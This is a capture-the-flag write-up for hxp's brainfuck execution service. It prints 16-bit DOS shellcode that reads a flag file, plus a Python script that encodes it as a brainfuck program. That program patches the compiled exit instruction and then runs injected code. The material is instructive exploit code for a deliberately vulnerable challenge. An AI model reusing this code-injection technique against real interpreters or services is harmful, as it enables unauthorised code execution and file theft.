According to the description, hxp provides us with a brainfuck (BF) execution
service where we can send BF programs over netcat and execute them. To help,
they provide us with a script that translated BF programs into a DOS, 16-bit COM
executable.
Now as a reminder, DOS COM executables are adjusted by 0x100 bytes (starting
therefore at address 0x100) and contain up to 64k (0xFFFF) bytes of raw code and
data. Programs are restricted to 64kb of RAM and code, luckily there are no
protections whatsoever. In addition, we were able to use the good old DOS 0x21
interrupt and the 0x13 BIOS interrupt to request functionalities from the
system. We were also told that the flag was at A:FLAG.TXT.
Looking at the bf "compiler", we notice that it's a simple pattern-matching
compiler that emits a prefix to set up the environment, translates all BF
instructions using simple patterns (where we also learn about some of the DOS
interrupts, confirming the suspicion that we'll run in a DOS VM), and an
epilogue that uses a DOS interrupt to exit the program, followed by 30kb of 0
bytes used as BF storage.
As a reminder on how BF works, refer to the
BF wiki page, or our
printbf interpreter for format strings.
So having worked with BF quite a bit before, this challenge was right down my
alley.
As a first step, I started writing shellcode to use DOS interrupts to open,
read, and print the flag file. This turned out to be harder than expected as
NASM was making it very difficult to write 16-bit code. Also, there are way more
restrictions on registers than I'm actually used to. After some tweaking I used
existing shellcode techniques to locate pointers and fixed together a couple of
DOS system calls to open and read in the file:
bits 16
org 0x100
; set up ptrs
call past
db "A:\FLAG.TXT",0
past:
pop dx
; open file handle
mov ah, 3Dh ; open file
mov al, 0h ; 0 read file
; dx contains ptr to filename
;mov dx, file
int 21h
; read A:\FLAG.TXT
mov bx, ax ; handle we get when opening a file
mov ah, 3Fh ; read file
mov cx, 20 ; number of bytes to read
; dx contains pointer to buffer
int 21h
; let's try to use the fancy print
;pop dx
;push dx
; dx contains pointer to buffer
;mov dx, file
mov cx, ax ; len to print
mov bx, 1 ; stdout
mov ah, 40h ; write file/device
int 21h
mov ah, 0x4c
int 21h ; exit
As you can see when reading the file, I finally fixed it to 20 bytes. When
developing the shellcode I used 255 bytes which lead me down a nasty sad detour.
More on this later.
Piping the shellcode through NASM nasm -f bin -o print.com dosprint.asm we get
a DOS COM executable that we can test using dosemu. Now that we are happy with
the shellcode, we turn it into a BF program.
First off, we need to make sure that the epilogue (mov ah,0x4C; int 0x21) of
the compiled BF program does not trigger. Luckily, the data area starts right
after the code area and we can just decrement the BF data pointer into the code.
To keep it simple, we decrement the data pointer twice to pint to the two byte
int 0x21 instruction (0xCD21) and we decrement the 0xCD value to 0xB4 so
that it turns into a mov bx, 0x21 instruction, rendering the epilogue useless.
After incrementing the data pointer twice we can now simply transcode our DOS
program into the BF data memory. Having ensured that the exit does not trigger,
we slide into the data memory and start executing the values we place there.
Due to 30kb data memory, we are restricted to roughly 34kb if BF program, which
leaves us roughly 10-15k BF instructions as they are encoded to 1 or 3 bytes
for increment/decrement of the data pointer and the data values.
My translator looks as follows:
import sys
f = open("print.com", "rb")
try:
sys.stdout.write("<<")
for i in range(0xcd - 0xb4):
sys.stdout.write("-")
sys.stdout.write(">>")
byte = f.read(1)
while byte != "":
if (256 - ord(byte)) < ord(byte):
for i in range(256 - ord(byte)):
sys.stdout.write("-")
else:
for i in range(ord(byte)):
sys.stdout.write("+")
sys.stdout.write(">")
byte = f.read(1)
finally:
f.close()
This translates our DOS COM into a BF program that we can pass to the BF
executor service. Now testing this in vivo did not lead to the expected results
and my exploit did not work. For quite a long time I wondered what was
happening (and fixing some bugs in the process). After a while I tested with
shorter read sequences than 255 (wondering that if the read request was larger
than the file it would fail) and if I requested less than 28 bytes from the
file, the read actually succeeded and I received parts of the file.
So after some more tinkering I read the flag in 4 steps, reading 20 bytes each
time (adjusting my DOS print program accordingly) and concatenating the
result into the hxp{ju57 l1k3 4 7ur1n6 m4ch1n3 bu7 w17h l1m173d 5p4c3} flag,
resulting in 165 points for team b01lers. I must say that this was a very
interesting challenge and a trip back to DOS assembler that I had long
forgotten. And, regarding the failed read, I still wonder what I screwed up
there.